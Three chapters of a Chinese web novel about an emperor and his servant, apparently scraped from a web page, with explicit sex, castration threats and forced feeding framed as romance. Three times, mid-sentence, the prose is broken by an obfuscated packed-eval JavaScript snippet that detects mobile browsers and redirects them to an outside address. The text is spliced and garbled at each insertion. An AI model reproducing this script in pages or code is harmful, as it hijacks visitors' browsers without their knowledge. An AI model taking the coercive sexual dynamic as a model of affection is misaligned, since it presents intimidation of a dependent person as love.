《笼中燕出逃后》 3. 好感 3 今日的泡芙苦苦的。 不论哪一个都是。 萧篡端坐案前,神态自若。 他右手握着朱砂笔,笔走龙蛇,在奏章上留下批复,左手却探到御案底下,按住燕枝的脑袋。 燕枝伏着身子,跪在他面前,脸颊通红,眼眶也通红。 一刻钟还没到。 萧篡在奏章上重重地按下最后一笔,随后把笔一丢,伸手钳住燕枝的肩膀,把他从桌案底下抓出来。 “时辰到了。” “陛下……”燕枝用衣袖掩着脸,小声咳嗽,“还没有。” “朕说到了就是到了。” 萧篡拨开燕枝挡着脸的手,用拇指按了按他磨破淤红的嘴角。 “朕交代你的事情,你没做好,怎么办?” “奴……” 燕枝犹犹豫豫地看着陛下,试探着伸出双手,环住他的脖颈。 这回陛下没有再骂他“蠢货”。 燕枝怯怯地看着陛下,缓缓靠近。 燕枝身上穿的是宫内侍从的单衣,萧篡却还披着盔甲。 两个人四目相对,呼吸相递,冷热相送。 直到这时,燕枝才后知后觉地明白过来。 陛下故意说他是小狗,故意说那些坏话吓唬他,还故意说要教他争宠,其实就是为了这件事情。 只是为了这件事情。 陛下从不承认自己重欲。 燕枝慢慢靠近,最后如同蜻蜓点水一般,用温热的唇瓣贴了一下陛下的嘴唇。 他小声问:“陛下是不是想让奴这样?” 萧篡呼吸一滞,反手按住燕枝的后脑勺,把他按得更紧。 “你还不算太蠢。” “唔……” 燕枝跨坐在陛下腿上,脑袋被陛下牢牢按住,无处可逃,只能仰起头被迫承受。 陛下亲他,就像上战场打仗一样,猛烈又暴戾。 燕枝被亲得喘不上气的时候,脑子里忽然蹦出一个念头—— 陛下是不是很讨厌他? 所以要亲死他。 燕枝刚走了一会儿神,忽然,萧篡把他抱了起来。 他整个人直接腾空。 “啊……” 燕枝惊慌失措,下意识抱紧陛下的脖颈。 等他再反应过来的时候,陛下已经把他放在了御案上。 陛下刚刚批完的奏章,就这样被他坐在身下,未干的朱砂字迹,在他的衣裳上蹭出一道痕迹。 “陛下……” 燕枝反应过来,用力抱紧萧篡的脖子,苦苦支撑着,不愿意坐下。 “怕什么?又不是油锅。”萧篡慢条斯理地拨开他的手,让他就这样坐下去,“烫着你了?” “不是……是奏章……”燕枝还想挣扎,“各位大人的奏章……” “是啊,你怎么坐着各位大人送上来的奏章了?”萧篡拍了一下他的脸,故意问,“燕枝,你怎么敢在这种地方勾引朕?” “奴没有……” “小坏狗。” 萧篡不容他反驳,抽开他的衣带,把手探进去,掐了他一把。 他最后吓唬燕枝:“不许乱动,要是弄脏了奏章,朕直接把你阉掉。” “——就跟阉小狗一样。” 燕枝软了身子,再没有力气反驳,只能“呜”了一声,努力抱住陛下。 他不要被阉掉。 萧篡低低地笑了一声,反倒故意张开双臂,不再抱他。 燕枝只能抱得更紧,整个人钻进他怀里,挂在他身上。 “不要……陛下不要把我阉掉……” “看你表现。” * 两个时辰后。 燕枝连午膳都没吃,被陛下折腾了许久,靠在陛下怀里,闭着眼睛,整个人都蔫蔫的。 偏偏陛下不肯放过他,抱着他,捏着他的脸颊,用力摇了摇,强迫他睁开眼睛。 “你自己看看,你干的好事。” 燕枝迷迷糊糊地抬起头,看看四周。 只见正殿之中,一塌糊涂。 原本放在案上的砚台,不知道什么时候,被他一脚蹬掉,砸在地上,摔得四分五裂。 原本好端端的朱砂笔,被他压在身下,在他的衣裳上画出一道道痕迹,笔尖上的毛都秃噜了。 原本他最在意的、朝臣们送上来的奏章,也被他弄得乱七八糟。 “怎么办?”萧篡故意问他,“弄成这样,你说该怎么办?” 燕枝心里难堪,但他实在没有力气再去想怎么办了。 于是他垂下眼睛,小声道:“奴知错了,陛下打奴十个板子吧,不要把奴阉掉就好……” 话还没完,他脑袋一点,扑进陛下怀里,不说话也不动。 小破罐子破摔。 “打你十个板子?”萧篡垂眼,看着他温顺乖巧、一动不动的模样,轻笑一声,“这可是你自己说的,下回打你十根军棍。” 萧篡一手搂着他,一手抓起案上废纸,揉成一团,丢到一边。 不错,桌案上的都是废纸,是他故意放在这儿吓唬燕枝的废纸。 批复好的奏章,早就被他放到一边了。 燕枝这个蠢货,提心吊胆了这么久,到现在也没发现。 萧篡丢了废纸,抱起燕枝,神清气爽地朝后殿走去。 燕枝窝在他怀里,两只手紧紧地拽着他的衣襟,闭着双眼,皱着小脸,似乎正在酝酿睡意。 萧篡瞧了他一眼,故意晃了晃他,冷着声音吓唬他:“醒醒,别睡,现在就送你去净身房了。” “不要……”燕枝清醒过来,摇了摇头,“陛下答应过我的,我不用净身……我很乖的……” “此一时彼一时,这是朕多少年前答应你的,你还记得。” “十年前,陛下十年前答应我的。”燕枝小声回答,“陛下金口玉言,不能食言……” 萧篡笑了一声:“朕连你都‘食’了,还不能食言?” 正说着话,萧篡一脚踹开后殿殿门。 太极殿后边,有一个温泉池子,是从山上引下来的泉水,常年冒着热气。 池边不见一个宫人,但是洗漱用的热水巾子、干净衣裳,还有垫肚子的肉糜牛乳,一应俱全。 萧篡抱着燕枝下了水。 萧篡靠在池边,燕枝靠在他怀里。 萧篡一手端着肉糜,喝了一大口,一手探进水里,帮燕枝清理。 驾轻就熟,游刃有余。 水面摇晃,水雾弥漫。 不多时,萧篡喝完肉糜,正好也把燕枝洗干净了。 他端起温热的牛乳,递到燕枝面前。 “醒醒,喝点迷药。等会儿就把你阉掉,挨刀子不会疼。” 燕枝被他吓到,迷迷糊糊地转过头去,拒绝的意思很明显。 萧篡“啧”了一声,腾出手来,钳住他的下巴,强迫他张开嘴,把牛乳灌进去。 “喝。” 燕枝没办法反抗,只能一口一口咽下去。 萧篡灌得太急,呛得燕枝直咳嗽,小半碗牛乳从他唇角溢出来,落在温泉池子里。 萧篡嗤笑一声:“朕也算是沾了你的光,泡上牛奶浴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116183|164173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 他丢开碗,拽过干燥的巾子,盖在燕枝脑袋上,胡乱呼噜两下。 一刻钟后,萧篡披着单衣,抱起湿漉漉的燕枝,回到寝殿。 正殿同样不见宫人身影,但是原本乱糟糟的桌案,也已经被收拾好了。 殿里点着熏香,干净整洁。 萧篡把燕枝丢到榻上,燕枝一沾床榻,就蜷着身子,骨碌碌地滚到了床铺最里面。 萧篡皱着眉头,很是不满:“朕抱着你来来去去,给你洗洗刷刷,还给你喂牛乳。你倒好,扭过脸就不认人?” “——没良心的小狗。” “哐”的一声,萧篡把自己砸在床榻上,反手揪住燕枝的衣领,把他抓出来。 “转过来!搂着朕!” “唔……” 燕枝含含糊糊地应了一声,感觉到陛下身上的体温,不由自主地贴上去,抱住他结实的手臂。 “搂紧点,不然把你送去净身房阉掉。” 燕枝顿了一下,似乎是听懂了,手伸得更长,抱住陛下的腰,整个人挂在陛下身上,把脸埋进陛下怀里。 萧篡刚有些满意,又听见燕枝哼哼唧唧地说—— “陛下……要是陛下把我阉掉,那我就不要喜欢陛下了……” 萧篡目光一沉,垂眼看他:“你说什么?再说一遍。” 燕枝闭着眼睛,显然已经睡着了,没有再回答他,只是像小猫一样“呼噜”了两声。 萧篡摇摇他的脑袋,又捏捏他的脸:“蠢货,你知道你在说什么吗?” 燕枝彻底睡死过去,怎么弄也弄不醒,萧篡只好暂且作罢。 他捏住燕枝脆弱的后颈,像捏着昏迷的小动物一般,强迫他抬起头来。 萧篡微微眯起眼睛,冰冷的目光从他头顶扫过,似是看见了什么,轻嗤一声,自信满满。 “不喜欢朕?好感度都满到溢出来了,还说不喜欢朕?” “胡言乱语,胡说八道,醒了再找你算账。” 他松开手,燕枝低下头,脑袋砸在他的胸膛上。 燕枝“哼唧”了两声,扭了扭身子,调整到舒服的姿势,安静睡觉。 萧篡转过头,朝外面喊了一声,让宫人把还没批复的奏章都抬进来。 外边宫人应了一声,随后便推开殿门,抬着奏章进来。 萧篡抬手,将榻前帷帐放下来,遮挡住榻上情形。 众人也低眉垂首,不敢乱看,放下东西就出去了。 萧篡靠在榻上,随手捡起一封奏章,正要打开。 忽然,他余光一瞥,似是看见了什么不寻常的东西,下意识坐直起来,眉头紧皱,死死盯着燕枝的脸。 燕枝睡着,但是睡得并不安稳。 他微微蹙起眉头,似乎正被杂念丛生的梦境拉扯着。 ——要是陛下把我阉掉,那我就不要喜欢陛下了。 ——不可以,陛下只是吓唬我而已的,还是要喜欢陛下的。 ——要是陛下再喊我“小狗”,那我就不要喜欢陛下了。 ——不可以,陛下只是嘴硬心软而已,还是要喜欢陛下的。 ——但是陛下一直吓唬我、欺负我,我不要喜欢陛下了。 ——不可以,陛下救过我的命,还给我点心吃,还是要喜欢陛下的。 ——陛下要选秀了,陛下马上就要有皇后和贵妃了,不能再喜欢陛下…… ——不可以……不可以…… “好感检测坏了?” 萧篡沉默片刻,最后拍了一下燕枝的脸。 “蠢货,还是你的脑子坏掉了?” 4. 宫宴 4 好酸,好疼。 不知道睡了多久,燕枝挣扎着从梦里醒来。 “唔……” 他不自觉低下头,把脸埋进面前温热硬挺的布料里,像小猫洗脸一样,用力蹭了蹭。 身上到处都酸酸疼疼的,眼睛涩涩的,嗓子也干干的。 好难受。 他觉得自己根本没有睡好。 燕枝蹭了一会儿,换了个姿势,趴在床上,还想再睡一会儿。 反正陛下没有派人来喊他。 要是陛下有事,会过来揪住他的衣领,直接把他提起来的。 就在这时,他的头顶传来熟悉的冰冷声音—— “你把朕当成什么了?擦脸巾?还是被子?” “陛……陛下……” 燕枝瞬间清醒过来,倏地抬起头来,眼睛也睁得圆圆的。 榻前帷帐垂落,帐中昏昏沉沉。 陛下就靠坐在榻上,架着腿,手里拿着一封奏章。 而他扒在陛下身上,方才还把陛下当成被子,在陛下的胸膛上蹭来蹭去。 萧篡垂眼,目光冰冷地看着他:“傻了?” “奴失礼了,陛下恕罪……” 燕枝连忙松开手,想从陛下身上下来。 萧篡却抬手按住他的脑袋,把他按了回去。 “别乱动,朕看看。” “啊?”燕枝不解。 是他脸上头上沾着什么东西吗? 陛下为什么要…… 正巧这时,殿门外传来宫人通报的声音。 “陛下,文武百官皆已入宫,就在太和殿外等候……” 话还没完,萧篡反手掀开榻前帷帐,扬手一掷。 手里奏章砸在门上,“哐当”一声巨响。 殿外宫人不敢再说话,默默退走。 萧篡头也不回,仍旧按着燕枝的脑袋,盯着他的脸看。 燕枝被他看得忐忑,不知道是不是自己又做错了什么,试着唤了一声:“陛下……” 萧篡语气淡淡,打断了他的话:“睡着的时候梦见朕了?” 燕枝一惊,眼睛睁得更圆了:“陛下怎么知道?” 萧篡并不回答,又问:“梦见朕对你做什么了?” “没……没做什么,只是梦见陛下而已。” 萧篡倒不怀疑他撒谎,捧着他的脸,命令道:“说你喜欢朕。” “啊?”燕枝更疑惑了。 萧篡加重语气:“说!” “是……”燕枝抿了抿唇角,乖乖地重复一遍,“奴喜欢陛下。” “还有。别偷懒。”萧篡冷声道,“你从前常说的那一长串,都要说。” “是。”燕枝掰着手指头,一句一句数过去,“陛下是大好人,奴喜欢陛下……非常喜欢,特别喜欢,天下第一喜欢。” “乖。” 萧篡这才满意,勾起嘴角,最后揉了一把他的头发,起身下榻。 “走了。睡着了肚子还叫,吵得要命,带你去庆功宴上吃点好的。” “是。” 方才听见宫人通报,燕枝才想起来,晚上还有宫宴。 他忙不迭爬下床榻,只是脚一沾地,腰上腿上就一阵酸软,惹得他摇摇晃晃,站也站不稳。 萧篡握住他的胳膊,把他提起来。 “站好。怎么软得跟面条似的?” “奴身上酸……” “朕怎么不酸?”萧篡反问,“就你娇气。” 燕枝抿了抿唇角,也没反驳,挪到衣桁边,踮起脚,取下搭在上面的干净衣裳,又走回陛下面前,为他更衣。 萧篡张开双臂,任由燕枝给他披上外裳,系好衣带。 他垂下眼,看看燕枝圆溜溜的脑袋,再看看燕枝乖巧认真的动作和表情,抬起头,压低声音,说了一句:“好感检测报错。” “啊?”燕枝抬起头,表情懵懂,“陛下说什么?” “朕说什么了?”萧篡故意问。 “奴听见陛下说什么爆竹……” “你耳朵坏了。”萧篡揉了一把他的耳朵。 “是吗?”燕枝从不怀疑陛下的话。 他歪了歪脑袋,认真拍拍自己的耳朵:“奴最近是感觉耳朵痒痒的。陛下真是神机妙算,这都知道。” 萧篡没忍住笑出声来:“傻蛋。” 又乖顺又听话,又愚蠢又可怜的小狗。 他说什么就是什么,就算被欺负得狠了,睡一觉起来,还是会摇着尾巴、黏黏糊糊地凑上来。 燕枝怎么可能会不喜欢他? 一定是检测错了。 * 大梁上下一心,奋战多年,天下终于一统。 今日大喜,宫中灯火通明,宫人喜气洋洋。 文武百官携家眷,依照品级次序,恭候于太和殿外。 衣着华贵的年轻公子,跟在父亲身后,转了转脚踝,小声嘀咕道:“爹,天都黑了,陛下怎么还……” 父亲低声喝止:“宫廷重地,不得妄言!” “是。”年轻公子只安静了一瞬,马上又开了口,“爹,你说,你二十三的时候,我都三岁了。陛下都二十三了,这才头一次选秀,他是不是有什么……” “明玉!” “爹你不是总说我文不成武不就的,只会给你添堵嘛。这次选秀,我就证明给你看,我也是能光耀门楣的……” “卞、明、玉!” 眼见着父亲要被气晕了,卞明玉忙不迭闭上嘴,低眉垂首,安分站好。 “爹,我错了,你别生气……” 正当此时,远处传来通报—— “陛下驾到!陛下驾到!” 声声通报,由远及近。 战鼓擂动,地动山摇。 卞明玉猛地被父亲拽到地上,父子二人与文武百官一同,下跪行礼,齐声山呼—— “拜见陛下!陛下万年!” 卞明玉跟在父亲身后,俯身叩首,什么也看不见。 他壮起胆子,悄悄抬起头,朝前面看去。 宫灯摇晃,人影重叠。 跪着的、站着的、走着的,许许多多、各种各样的人影,在他面前如同走马灯一般,转来转去。 转得他眼睛都花了。 下一瞬,长靴踏过,尘埃落定。 玄色暗纹的衣角从他眼前划过,转眼就消失不见。 又下一瞬,靛蓝粗布的衣摆,如同春日里的澄澈湖水一般,一圈圈漾开,闯进他眼里。 卞明玉不自觉抬起头,想要看得更清楚些。 衣摆主人似乎也察觉到了他的目光,有意放慢脚步。 可还没等他看清什么,父亲就用力扯了一下他的衣袖,警告他不要轻举妄动。 紧跟着,那个玄色的衣角也退了回来,抓住靛蓝衣摆的主人,直接把他拽走。 “陛下……” 燕枝忽然被萧篡握住手腕,拽着往前走,脚下一个踉跄,险些摔个跟头。 萧篡头也不回,只是拽着他大步往前。 燕枝被折腾了一天,身上没力气,腿还软着,勉强跟上,倒像是被拖着走。 碍于文武百官在场,燕枝只敢小小地唤了一声:“陛下……” 萧篡不予理会,只是继续往前。 直到登上石阶,跨过门槛。 萧篡拽着燕枝,登上高台主位。 他扬手一丢,将燕枝丢到软垫上,随后自己也坐下了。 燕枝回过神来,挣扎着爬起来,规规矩矩地跪坐好。 萧篡双手按在膝上,目光冷肃,扫视四周。 最后,他冷声道:“免礼平身。” 于是殿外宫人传达圣上口谕,文武百官再次俯身叩首。 三跪三拜,礼数周全。 萧篡只看了一眼,就不耐烦地别过头去,对着空无一人的身侧,压低声音,说了一句—— “跳过。” 燕枝抬起头,眨巴眨巴眼睛,一脸认真地看着他。 这回他真的听见了,他的耳朵没有坏掉。 他听见陛下说…… “愣着做什么?倒酒。” 萧篡转回头,见燕枝盯着自己,一副呆呆的模样,便冷冷地看回去。 “啊?” “倒酒。” 燕枝最后眨了一下眼睛,定睛一看。 这才发现,不知道什么时候,他面前的御案上,摆满了各色珍馐。 文武百官已然入殿,依次坐定。 宫人放好了酒菜,双手捧着托盘,正要行礼退下。 酒菜是什么时候摆好的?他们是什么时候进来的? 他竟毫无察觉。 燕枝感觉自己像是在做梦一样。 萧篡见他不动,拽下一条烤羊腿,丢到他面前。 “哐当”一声,结结实实的羊腿差点儿把盘子砸烂。 燕枝回过神来,只见陛下已经拿着匕首,手起刀落,把案上的烤羊羔大卸八块。 羊羔四条腿,陛下面前放着三条。还有一条,陛下慷慨地分给了他。 “一日十二个时辰,十三个时辰都在走神。要是跟着别人,你连肉渣都吃不上,迟早饿死。” 燕枝坐直起来,双手捧起碗,舀了半碗肉羹:“陛下,先垫垫肚子。” 萧篡接过碗,喝了一大口,却忽然道:“十。” “唔?”燕枝不解。 “朕每次喊你,你都傻呆呆的,要等十个数才会回神。” “奴……” 就在这时,萧篡猛地举起手里用来分羊羔的匕首,朝燕枝刺去。 燕枝被吓得僵在原地,一动不敢动。 不知道过了多久,他才颤抖着声音,喊了一声:“陛下……” 并不锋利的刀背划过他的脸颊,萧篡笑了一声,反手收起匕首,捏了捏他的脸颊肉。 “还是十个数。” “刀都砍到面前了,你还是要十个数才能反应过来。” 燕枝摸摸自己的脸,确认自己没有流血,才松了口气:“是奴愚钝……” “确实愚蠢。就你这样呆头呆脑、笨手笨脚的,离了朕,不知道死多少回了。” 萧篡把匕首丢在他面前,刀尖扎在案上,摇摇晃晃。 “在狼群里,都是头狼给底下的狼分猎物。朕分完了,剩下的你来。” “是。” 燕枝低下头,捡起匕首,把面前的烤羊腿切成小块,摆在盘子里,放在陛下面前。 萧篡一面吃,一面看向殿中。 朝中官员众多,再加上家眷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116184|164173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,今夜赴宴之人,足有百余人。 宫宴席位次序,皆有章程。离帝王主位越近的,自然是品级越高、越受帝王信赖的近臣。 白日在太极殿议事的时候,萧篡就让他们把家中子女带来庆功宴上看看。 他们不敢不从,把人都带过来了。 儿郎女郎,都规规矩矩地坐在自家父亲身后。 萧篡嚼着羊腿肉,微微眯起眼睛,猛虎狩猎一般的目光,从他们面上扫过。 他随口喊了一声:“卞英。” 四十来岁的文臣听见陛下点到自己的名字,赶忙拉着儿子起身,来到殿中行礼:“臣卞英,携子明玉,为陛下贺。愿陛下万年,大梁万年。” 萧篡也不喊“平身”,只是皱着眉头,微微侧目,看向跟在父亲身后的卞明玉。 燕枝切着羊腿,悄悄往自己嘴里塞了一块,也跟着抬眼看去。 卞大人为官清廉,官服上还打着补丁。 他的儿子倒是奢侈,身上穿着金线绣的衣裳,头上戴着紫金发冠,冠上还镶嵌着好大一块白玉。 难怪他的儿子叫“明玉”。 当然,这些东西不是卞大人贪污的,燕枝也都认得。 先前卞大人随陛下出征,替陛下清点战利品,陛下有时高兴,就会赏他一些金银。 他自己从来不用,原来是都留给儿子了。 燕枝弯起眉眼,默默地给卞大人竖了个大拇指。 真是个好父亲! 这个时候,卞大人在良久的沉默中,也察觉到了不对劲,回头看了一眼,忙解释道:“回陛下,臣多年来只得一子,平日里对他颇有纵容,陛下见笑了。” “无妨。”萧篡摆了摆手,“白日里问起你的儿子,你是怎么说的来着?” “臣……”卞大人顿了一下,“臣说他,天资愚钝,顽劣不堪。” 卞明玉不敢置信地抬起头,暗中捣了一下父亲的脚底板。 燕枝隐约瞧见了,但也没敢说,赶忙低下头,努力憋住笑。 “那时朕还当是你谦虚,如今一见——”萧篡叹了口气,似是十分失望,“去罢。” “是。”卞大人这才松了口气,拉着儿子,一瘸一拐地回到席位上去。 紧跟着,萧篡又点了几个朝臣的名字。 朝臣了然,各自带着自家儿女上前,为帝王贺词。 萧篡把近臣子女看了个遍,始终没看到合适的。 他一开始还能耐着性子,一个一个地看。 到了后面,干脆一次点两三个臣子的名字,让他们一起出来。 萧篡歪着身子,整个人斜斜地靠在凭几上,随手拣起燕枝切好的羊腿,丢进嘴里。 “朕的这些臣子,一个个都是文武双全,天纵奇才,怎么生出来的孩子,一个个的都是歪瓜裂枣?怎么还有天赋三十八的?” 萧篡皱着眉头,一把掐住燕枝的脸,把他抓到自己身边:“你看,天下竟有比你还蠢的人。” “疼……”燕枝捂着脸,“陛下,世间未必有十全十美的人。奴觉得各位公子女郎都很好,没有陛下说的那么不好……” 至少他们看起来都很和善,不会像陛下说的那样,动不动就罚他不许吃饭。 要是让他们做皇后,燕枝是安心的。 萧篡却反问道:“如何没有?朕挑选出来的官员将领、朕组建起来的军队宫廷,哪个不是十全十美?再建个后宫,怎么就不能十全十美?朕的大梁就得是个十全十美的王朝。” 燕枝小声解释:“可……后宫不是军队,只要陛下喜欢,那就足够……” “喜欢?”萧篡打断了他的话,“朕最喜欢金银,干脆从国库里搬几箱金饼放在后宫里好了。噢。朕还喜欢牛肉羊肉,牵两只羊去后宫封后?” 燕枝忙道:“奴说的不是这个‘喜欢’,是对人的喜欢。” “对啊。”萧篡理直气壮,“朕就是喜欢长得漂亮、出身世家、才高八斗,还会管家理事——” 他看着燕枝,缓缓吐出最后两个字:“的、人。” “有何问题?” “奴的意思是——”燕枝解释道,“倘若真正喜欢一个人,是不会在意他究竟会不会管家……” “你懂个屁。”萧篡懒得同他争辩这种蠢事,随手指了一下案上,“酒拿过来。” “是。”燕枝抿了抿唇角,双手捧起酒樽,奉到陛下面前。 萧篡低头,就着他的手,喝了一大口。 剩下一点儿杯底,燕枝端过来,自己喝掉。 自从上回,陛下饮酒不慎中药之后,燕枝就成了陛下身边试毒的那个人。 每每陛下喝酒,总是剩下一点儿给他。 萧篡扫了一圈案上,又道:“那盘鹿肉也切了。” “是。”燕枝放下酒樽,乖乖切肉。 “鹿肉补阳,你不用偷偷吃,正大光明吃两块,晚上回去继续。” 燕枝不敢相信地抬起头,眼睛睁得圆溜溜的。 萧篡正抱着手,架着脚,皱着眉头,扫视殿中人群,搜寻合适人选。 “一代不如一代,怎的连个皇后都选不出来?” 燕枝往嘴里塞了一块鹿肉,鼓着腮帮子,嚼嚼嚼。 嗯…… 原来在陛下眼里,选皇后和选将军是一样的。 5.烟火 5 这个太丑,这个太蠢。 这个又丑又蠢。 今夜赴宴的近臣子女,有一个算一个,萧篡全都看不顺眼。 他收回目光,看向燕枝。 燕枝就坐在他身边,低着头,垂着眼,认认真真地切鹿肉。 这一大块鹿肉,还是大军还朝的时候,萧篡在路上随手猎的。 萧篡不像别国皇帝,偏爱精细小食,膳房将结实有力的鹿前腿割下来,架在火上烤熟,佐以些许调料,就送了上来。 剩余的鹿腹鹿背,则分给了宴上诸位朝臣。 群雄逐鹿,鹿死梁帝之手,梁臣共分之。 是个很好的意头。 不过,这可就苦了燕枝了。 鹿前腿结实,还带着筋,烤得梆硬,切起来着实费劲。 燕枝一只手按着鹿肉,一只手握着匕首,整个人都要站起来了。 “呀……” “让你分个肉,又不是让你杀个人,还要自己给自己鼓劲?” 萧篡皱眉,握住燕枝的手,用力往下一按,便将那块带着筋的鹿肉一分为二。 “行了。” 萧篡拿过他手里的匕首,顺手一刺,便将那块较大的肉戳了起来。 燕枝忙道:“陛下,奴还没分完……” “还要怎么分?”萧篡反问,“你想要大的?眼大心小,吃得完吗?” “不是……” 燕枝话还没说完,萧篡就已经握着匕首开吃了。 算了。 燕枝夹起鹿肉,用牙咬住,费劲地撕下一块来。 他好不容易吃了一些,转头一看,陛下已经吃完了。 萧篡伸手,探进燕枝的衣襟里,抽出他的手帕,最后倚在凭几上,慢条斯理地擦手。 燕枝呆呆地看着陛下,心里不由地生出一个无比可怖的念头—— 陛下是野兽变的。 猛虎,或者是恶狼。 否则天底下怎么会有人,这么能吃肉,这么有力气,又这么会杀人呢? 这样想着,燕枝忽然感觉自己的后颈凉飕飕的。 陛下在榻上的时候,也经常喜欢捏住他的后颈,用牙咬他的脖子。 就像野兽捕猎一样。 难不成……陛下真的是…… 萧篡抬眼:“直勾勾地盯着朕做什么?打算刺王杀驾?” 燕枝回过神来,连忙摇摇头:“奴不敢。” 说完这话,他忙不迭转回头去,继续啃咬那块结实的鹿肉。 萧篡看见,没忍住笑了一声:“蚊子咬的包都比你咬的大。” 他伸出手,捏捏燕枝没几两肉的脸颊:“得亏你是朕养的小狗,要是野生的,早就被野兽抓去吃了,哪里还轮得到你在这里吃鹿肉?” 燕枝抬起头,刚想反驳自己不是小狗,就被陛下笃定的目光堵了回去。 算了,陛下认定的事情,他再反驳也没用。 只会惹得陛下生气。 还是不说话了。 庆功宴上,喜气洋洋,觥筹交错。 酒过几巡,月近中天,宫宴接近尾声。 每每宫宴,燕枝最期待的就是这个时候。 依照惯例,宴席结束之前,宫中都会燃放烟火,以求顺遂,与民同乐。 燕枝喜欢看烟火! “嗖嗖”几声,几束火光窜上夜空。 紧跟着“砰砰”几声,大红的烟火在空中绽开。 明亮又灿烂,耀眼又夺目,不论贫富贵贱,都能看见。 而且这次攻打庆国,他听旁人回禀,士兵们在库房里,发现了庆国工匠研制的不同颜色的烟火。 陛下听了,只是说了一句“庆国皇帝蠢笨不堪,死到临头还耽于享乐”,但还是命人将烟火作为战利品,带了回来。 想来就是在今夜庆功宴上燃放。 燕枝还没见过不一样颜色的烟火呢。 这样想着,他不由地更期待起来。 萧篡只瞧了他一眼,就看穿了他的心思。 燕枝这个蠢货,有点什么事情就都写在脸上,藏都不藏。 萧篡丢开切肉的匕首,匕首扎在案上,左右晃了晃。 他扶了一下桌案,站起身来。 见他有了动作,燕枝反应最快,最先跟着站了起来。 紧跟着才是底下的朝臣。 宫人会意,高呼一声:“摆驾城楼!” 于是殿中朝臣俯身叩首,恭请陛下先行。 萧篡背着手,走下高台玉阶,从朝臣当中穿过,跨过宫殿门槛。 燕枝跟在他身后,脚步都轻快许多。 萧篡睨了他一眼,淡淡问:“就这么高兴?” “是。”燕枝点点头,“能看烟火,奴就高兴。” 萧篡轻嗤一声,语气仍是淡淡的:“别高兴得太早了。” “唔?”燕枝想了想,“虽然烟火转瞬即逝,但只要能和陛下一起看,那奴就高兴。奴不会高兴得太早,奴会高兴很久很久的。” 萧篡最后瞧了他一眼,什么话也没说。 依旧是白日里登高看军的那处宫墙城楼。 燕枝跟在陛下身后,一步步登上石阶,最后在原来的位置上站定。 白日里,他站在这里,听见陛下说要选秀,听见陛下说要让他来操办选秀。 还听见陛下……说他丑,说他笨。 那时的燕枝心里可难过、可难过了,难过得心都要碎了。 但是现在,夜里凉风迎面吹来,将燕枝碎掉的心绪,全部吹散。 他想,陛下确实也没说错,他确实模样一般,还笨手笨脚的。 陛下贵为天子,迟早是要选秀的。 他已经独占了陛下这么多年,应该满足了。 总归…… 陛下救过他的命,还给他点心吃。 虽然陛下总是吓唬他、欺负他,但他已经对着天神发过誓,要一辈子都侍奉陛下、护卫陛下、喜欢陛下。 除了陛下身边,他再想不出有什么地方可以去了。 日子总要过下去,他也总要活下去。 跟在陛下身边,总比跟在凶狠的父亲、毒辣的继母身边要好。 陛下的军队十全十美,陛下的朝堂十全十美。 可他这样的人,哪有过得十全十美的? 现在这样,有吃有穿,还不用挨打……偶尔在榻上会挨两下,服侍救命恩人的日子,就已经很好啦! 再没有比陛下身边更好的去处了。 娘亲说过的,人要学会知足,才会过得更好。 燕枝这样想着,弯起眉眼,抬头望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119282|164173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着漆黑的夜空,眼中笑意更深了几分。 他想着,等会儿对着烟火许愿,但愿陛下选的妃子,都是温和有礼、不会罚他的妃子。 但愿陛下选的皇后,是温柔大方、对他很好的皇后。 城楼下,点燃烟火的士兵已经准备就绪,只等陛下一声令下。 萧篡微微抬手,士兵当即会意,点燃引线。 燕枝不由地睁圆眼睛,一眨不眨地盯着城楼下。 士兵点燃引线之后,便快步退开。 一星火光从引线最末端燃起,迅速往前,直到点燃竹筒。 “嗖”的一声,一束黄色的火光升上夜空。 紧跟着,是不同于寻常烟火的一声巨响,一朵淡黄色的烟火绽开。 这朵烟火散开,消失在夜幕之中,马上又有“嗖嗖嗖”三声,三朵烟火齐齐绽开。 全都是不一样颜色的。 “哇——” 燕枝捂着耳朵,没忍住惊叹了一声。 城楼上的文武百官,城楼下的梁都百姓,都没见过这样的烟火,和他的反应一模一样。 燕枝弯了弯眼睛,翘起并不存在的小猫尾巴,轻轻摇了摇。 他就说,还是跟在陛下身边好,看烟火也能看见最大、最漂亮的。 忽然,有人伸出手,捏了捏他的脸颊。 燕枝回过头,对上陛下玩味的目光。 陛下张了张口,似是说了句什么,但在一片巨响声中,燕枝听不清。 于是他凑近一些,问:“陛下……” “朕说——” 陛下再说了一遍,可燕枝还是没听清。 直到第三次—— 萧篡按住他的脑袋,揉乱他的头发,捂住他的眼睛。 “朕说——” “跳、过。” 下一瞬,一切归于沉寂。 